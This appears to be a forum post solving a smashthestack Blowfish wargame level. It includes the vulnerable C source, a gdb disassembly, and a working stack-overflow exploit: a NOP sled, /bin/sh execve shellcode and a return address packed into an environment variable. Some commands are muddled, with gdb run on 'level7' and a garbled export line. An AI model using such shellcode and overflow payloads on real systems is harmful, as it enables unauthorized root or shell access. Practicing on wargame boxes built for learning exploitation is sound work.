It looks like you're new here. If you want to get involved, click one of these buttons!
ssh level5@blowfish.smashthestack.org -p 2222
password:
1. Thou shalt NOT root or otherwise harm the box.
2. Thou shalt NOT access any other network from this box.
3. Thou shalt NOT use any other directory besides /tmp or /code for code.
4. Thou shalt give the root pass to l3thal if you manage to change it.
Passwords are in /pass.
There is a README in each users home directory.
/tmp && /var/tmp will be flushed daily by cron.
Use /code plz for umm, code ;D
IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
The password for the last level will get you into
Tux, the more advanced wargame. Join #blowfish on
irc.smashthestack.org with any questions.
Admins - l3thal && cr
Forum: http://smashthestack.org/viewforum.php?id=10
Last login: Thu Jan 28 23:09:50 2010 from host-84-222-52-125.cust-adsl.tiscali.it
This level is another stack overflow in /levels/level5.
Exploit to get the level6 pass from /pass/level6.
#include <stdio.h>
int main()
{
char buffer[1024];
if (getenv(\"VULN\") == NULL) {
fprintf(stderr,\"Try Again!!\n\");
exit(1);
}
strcpy(buffer, (char *)getenv(\"VULN\"));
printf(\"Environment variable VULN is:\n\\"%s\\".\n\n\", buffer);
return 0;
}
python -c <code>
./level5 export VULN=$(python -c \"print '\x90'*1040\")
gdb level7
disass main
Dump of assembler code for function main:
0x08048484 <main+0>: push ebp
0x08048485 <main+1>: mov ebp,esp
0x08048487 <main+3>: sub esp,0x418
0x0804848d <main+9>: and esp,0xfffffff0
0x08048490 <main+12>: mov eax,0x0
0x08048495 <main+17>: sub esp,eax
0x08048497 <main+19>: mov DWORD PTR [esp],0x8048640
0x0804849e <main+26>: call 0x8048364 <getenv@plt>
0x080484a3 <main+31>: test eax,eax
0x080484a5 <main+33>: jne 0x80484c8 <main+68>
0x080484a7 <main+35>: mov DWORD PTR [esp+0x4],0x8048645
0x080484af <main+43>: mov eax,ds:0x804979c
0x080484b4 <main+48>: mov DWORD PTR [esp],eax
0x080484b7 <main+51>: call 0x8048354 <fprintf@plt>
0x080484bc <main+56>: mov DWORD PTR [esp],0x1
0x080484c3 <main+63>: call 0x8048394 <exit@plt>
0x080484c8 <main+68>: mov DWORD PTR [esp],0x8048640
0x080484cf <main+75>: call 0x8048364 <getenv@plt>
0x080484d4 <main+80>: mov DWORD PTR [esp+0x4],eax
0x080484d8 <main+84>: lea eax,[ebp-0x408]
0x080484de <main+90>: mov DWORD PTR [esp],eax
0x080484e1 <main+93>: call 0x80483a4 <strcpy@plt>
0x080484e6 <main+98>: lea eax,[ebp-0x408]
0x080484ec <main+104>: mov DWORD PTR [esp+0x4],eax
0x080484f0 <main+108>: mov DWORD PTR [esp],0x8048660
0x080484f7 <main+115>: call 0x8048384 <printf@plt>
0x080484fc <main+120>: mov eax,0x0
0x08048501 <main+125>: leave
0x08048502 <main+126>: ret
End of assembler dump.
(gdb) break *0x080484e1
Breakpoint 1 at 0x80484e1
(gdb) i r
eax 0xbfffd080 -1073753984
ecx 0x4e 78
edx 0x0 0
ebx 0x3efff4 4128756
esp 0xbfffd070 0xbfffd070
ebp 0xbfffd488 0xbfffd488
esi 0x8048510 134513936
edi 0x80483c0 134513600
eip 0x80484e1 0x80484e1 <main+93>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh
export VULN=$(python -c \"print '\x90'*998 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x90\xd0\xff\xbf'\")